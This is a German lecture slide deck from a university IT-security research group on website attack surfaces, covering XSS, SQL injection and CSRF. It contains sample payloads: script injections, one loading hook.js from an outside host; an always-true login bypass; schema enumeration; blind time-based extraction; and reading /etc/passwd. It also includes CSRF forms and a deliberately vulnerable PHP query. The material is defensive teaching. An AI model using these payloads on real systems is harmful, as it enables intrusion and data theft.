„Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... ·...
Transcript of „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... ·...
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
„Die Webseite als Eintrittspunkt“ Welche Gefahren gehen vom Firmenauftritt im Internet aus?
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Bekannt gewordene Schwachstellen & Angriffe
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Bekannt gewordene Schwachstellen & Angriffe
Quelle: http://www.vulnerability-db.com/dev/index.php/2014/02/06/german-telekom-bug-bounty-3x-remote-vulnerabilities/
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Bekannt gewordene Schwachstellen & Angriffe
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Bekannt gewordene Schwachstellen & Angriffe
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Vergleich Web-App vs. Applikation
Web-Applikation (PHP, JSP, ASP, Ruby, …)
• Prinzipiell weltweit abrufbar • Verwenden von standardisierten
Protokollen
• Häufig sehr typische Entwurfs-Pattern (MVC)
• Zustandslos → Session-Management wird notwendig
• Kommunikation lässt sich mit Proxy leicht untersuchen und verändern
Anwendung (C,C++, VB, C#, Delphi, …)
• Häufig Installation notwendig • In der Regel nur lokal verfügbar • Gefundene Schwachstelle nicht sofort
ausnutzbar
• Zustandsbehaftet • Kommunikationsflüsse für Anwender nicht
ersichtlich
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Webanwendungen
• Komplexe Architekturen, basierend auf mehreren Plattformen und Protokollen
■
Web Anwendung HTTP
Network
Client Browser Mobil API
WebServer Apache, IIS PresentaEon Layer Medien AuGereitung von Daten für Client
Anwendungsserver Kapselt die Anwendungs Logic AuthenEfizierung, Session Management Erstellt Inhalte im User Context
Datenbank Server Liefert Inhalte auf Anfrage des Anwendungsserver z.B. User InformaEonen, Bestände
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Webanwendungen
■
Client Browser Mobil API
WebServer Apache, IIS PresentaEon Layer Medien AuGereitung von Daten für Client
Anwendungsserver Kapselt die Anwendungs Logic AuthenEfizierung, Session Management Erstellt Inhalte im User Context
Datenbank Server Liefert Inhalte auf Anfrage des Anwendungsserver z.B. User InformaEonen, Bestände
● Kommunikation i.d.R. über HTTP ● Hauptsächlich Austausch von Web-Inhalten (HTML, Bilder, CSS) ● Vollständig unter der Kontrolle des Clients
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Client Webserver
SMB
Datenbank
SAP
Firewall
Firewall
Port 80/443
Webanwendungen
Intranet Internet
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Auftreten von Schwachstellen
■
InjecEon → Cookies, SQL, XSS, CSRF, … Parameter-‐ManipulaEon Brute Force Fehlende Validierung Session Management
Anwendung
AdministraEve FunkEonen nicht ausreichend geschützt, z.B. „versteckt“ Fehlerhade KonfiguraEon UnnöEge FunkEonen akEviert → z.B. Server Stats
AdministraEon
Bekannte Schwachstellen, z.B. Exploit für Apache Schwache Verschlüsselung z.B. bei älterer Version von IIS
Plaform
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Gründe für Angriffe
Quelle: http://hackmageddon.com/2013-cyber-attacks-statistics/
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Verwendete Angriffstechniken
Quelle: http://paulsparrows.files.wordpress.com/2013/09/august-2013-techniques.png?w=538&h=279
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
■
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
OWASP Best Practice Guides
J2EE
SSL SDL
Web Application Firewalls
Windows Communication Foundation (WCF)
Application Code Review OWASP Good Component Practices Project
Virtual Patching Best Practices
Encryption
Authentication Session Management
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
OWASP ZED Attack Proxy
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
OWASP Top 10
Zusammenfassung der Schwachstellen, die am häufigsten bei der Überprüfung von Webseiten erkannt wurden.
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
CWE/SANS Top 25
Quelle:http://cwe.mitre.org/top25/
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Quelle: hhps://www.owasp.org/images/b/b8/OWASPTop10_DE_Version_1_0.pdf ■
Definition von Cross Site Scripting (XSS)
XSS-Schwachstellen treten auf, wenn eine Anwendung nicht vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen Webbrowser sendet.
XSS erlaubt es einem Angreifer, Scriptcode im Browser eines Opfers auszuführen und somit Benutzersitzungen zu übernehmen, Seiteninhalte zu verändern oder den Benutzer auf bösartige Seiten umzuleiten.
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
XSS wird je nach Stelle der Infektion bzw. Persistenz unterschieden:
• Reflektiert oder nicht-persistent → sehr häufig / einfach • Persistent oder beständig → für Angriffe wünschenswert • DOM-basiert oder lokal
■
Unterscheidungen von XSS
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
■ Quelle: hhps://isc.sans.edu/diary.html?storyid=9130
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
• JavaScript-Code alert • Eingebunden mit script-Element • Harmlos, dient zur Veranschaulichung • https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
• Nachladen von Java Script aus externen Quellen
■
<script type="text/javascript">alert("XSS");</script>
<script src="http://bit.ly/1mHqD70" />
Häufige Beispiele für XSS
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
• Nicht-persistentes oder reflektiertes Cross Site Scripting • Benutzereingabe wird vom Server direkt zurückgeliefert • Nur temporär, nicht gespeichert → ohne manipulierte URL oder Formular nicht enthalten • Beispiel: Suche auf einer Webseite
■
Ausgabe:
Manipuliert:
Aufruf:
Reflektiertes XSS
http://example.com/?suche=Suchbegriff
<p>Sie suchten nach: Suchbegriff</p> http://example.com/?suche=<script type="text/javascript">alert("XSS")</script>
Server (PHP): echo “<p>Sie suchten nach: $_GET[‘suche’]</p>”;
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
• Schadcode wird auf dem Webserver gespeichert – bei jeder passenden Anfrage ausgeliefert
• Beispiel: Daten werden in einer Datenbank gespeichert und “irgendwann” wieder ausgegeben – Gästebuch auf einer Webseite – Kommentare in Foren – Zuletzt angemeldete/neu registrierte Benutzer…
■
Manipulierte Nachricht: Eine wirklich sehr informative Website!<script type="text/javascript">alert("XSS")</script>
Konkreter Angriff: Eine wirklich sehr informative Website!<script src="http://pb.c.ouk/hook.js" />
Persistentes XSS
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
■
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
• Nur Clientseitig • Beispiel: JavaScript wird zum Suchen, Markieren oder Selektieren in bereits geladener Seite
verwendet.
■
DOM basiertes XSS
Bild-Quelle: http://www.it-visions.de/DOTNET/ASPNET2/Artikel/ASPNET_AJAX_Einfuehrung.aspx
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
■
Reflektiertes XSS Persistentes XSS DOM-based XSS
Zusammenfassung der verschiedenen XSS-Arten
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
SQL-Injections
SQLI bezeichnen die Vermischung von SQL-Abfragen und von Daten, die mit den Queries kombiniert werden sollen. Durch die Vermischung ändert sich der Sinn der Abfrage.
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
SELECT id, name, mail, gender FROM Accounts WHERE id = 41;
Structured Query Language - einfache Abfrage
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Login-Anfrage per PHP (vereinfacht)
$query = “Select * from accounts where pwd = md5(‘$pwdFromUserInput’);”;
$pwdFromUserInput = $_POST[“password”];
$result = mysql_query($query);
Eingegebenes Passwort aus POST-Variable auslesen.
Datenbank-Abfrage definieren, die Benutzer anhand seines verhashten Kennworts zurück gibt.
Anfrage an Datenbank abschicken.
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Login-Anfrage per PHP (vereinfacht)
$pwdFromUserInput = $_POST[“password”]; $query = “Select * from accounts where pwd = md5(‘$pwdFromUserInput’);”; $result = mysql_query($query);
Select * from accounts where pwd = md5(‘Geheim12345!’);
Benutzer hat als Passwort „Geheim12345!“ eingegeben:
Inhalt der Variablen Query:
Nutzerdaten sind in $query deutlich zu erkennen.
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
SQL Injection durch immer wahre Aussage
$pwdFromUserInput = $_POST[“password”]; $query = “Select * from accounts where pwd = md5(‘$pwdFromUserInput’);”; $result = mysql_query($query);
Select * from accounts where pwd = md5(‘xxx’) or (‘1’ = ‘1’);
Benutzer hat als Passwort „xxx‘) or (‘1’ = ‘1” eingegeben:
Inhalt der Variablen Query:
Grenzen zwischen Nutzdaten und query verschwimmen.
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Öffentliche Fehlermeldungen liefern Hilfe für SQL Injections
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Alle Tabellen incl. Details in der Datenbank anzeigen: SELECT * FROM informaEon_schema.tables WHERE table_schema != ‘mysql’ AND
table_schema != ‘informaEon_schema’
Alle Spalten einer Tabelle anzeigen: SELECT table_schema,
table_name, column_name
FROM informaEon_schema.columns WHERE table_schema != ‘mysql’ AND
table_schema != ‘informaEon_schema’
■
Durch SQL-Abfragen lässt sich Struktur der Datenbank rekonstruieren
Durch einfache SQL-Abfragen lassen sich die Struktur der Datenbank, der Tabellen, die angemeldeten Benutzer und vieles mehr herausfinden.
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Welche Tabelle besitzt eine Spalte deren name "pass" enthält? (Passwort, password, passwd) SELECT table_schema,
table_name FROM informaEon_schema.columns WHERE column_name LIKE '%pass%';
Auch komplexere Abfragen per SQL-‐InjecEon sind möglich.
■
Gezielte Suche nach Tabellen mit Passwörtern
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Wenn die driMe Stelle des Passworts ein "a" ist wird die weitere Bearbeitung um 5 Sekunden pausiert – wenn nicht wird sie ohne Zeitverzögerung fortgesetzt. SELECT if (substr(password 3, 1) == 'a', SLEEP(5), '') FROM Accounts WHERE ID=324345;
Durch Blind InjecEon kann der Benutzer InformaEonen aus der Datenbank abrufen, obwohl diese nicht am Bildschirm dargestellt werden:
■
Blind SQL-Injections ermöglichen Datenübertragung ohne Darstellung am Bildschirm
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Dateien des Servers lesen: SELECT '1' FROM Accounts WHERE 1=2 UNION ALL SELECT LOAD_FILE('/etc/passwd')
Durch falsch gesetzte BenutzerberechEgungen sind auch Zugriffe auf das Dateisystem des Servers möglich!
Dateien des Servers schreiben: SELECT 'pause' FROM dual INTO dumpfile 'C:\Autoexec.bat';
■
SQL-Injection mit Zugriff auf Dateisystem
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
■
Quelle: hhp://xkcd.com/327/
XKCD ist super! :)
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Spezifische, freie Tools um SQL-Injections zu erproben:
❖ sqlmap (http://sqlmap.org/) ❖ SQL Inject Me (Firefox-Plugin,
https://addons.mozilla.org/de/firefox/addon/sql-inject-me/)
SQL-Injection Tools
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Cross Site Request Forgery
Bei CSRF versucht ein Angreifer einen legitimen Benutzer dazu zu veranlassen, ungewollt eine Aktion in seinem (Berechtigungs-) Kontext auszuführen.
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Cross Site Request Forgery
POST/GET -Request
Response
inject request
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Demo - HTML-Webfrontend für Cross Site Request Forgery
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Demo - PHP-Backend für Cross Site Request Forgery
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Demo - Cross Site Request Forgery - Angriff mit erwarteten POST-Parametern
<body onload="javascript:SendAttack();"> <form action="http://victim.example.com/profile.php" id="form" method="post">
<input type="hidden" name="firstname" value="Funny"> <input type="hidden" name="lastname" value="Joke"> <input type="hidden" name="email">
</form> </body>
<script> function SendAttack () {
form.email = "[email protected]"; // send to profile.php
form.submit(); } </script>
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
<img src=” />
Demo - Cross Site Request Forgery - Angriff mit erwarteten GET-Parametern
http://victim.example.com/profile.php?action=delete&userID=2231&confirmed=true
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Hochschule Augsburg | HSASec – Forschungsgruppe IT-‐Security + Forensik
Noch Fragen?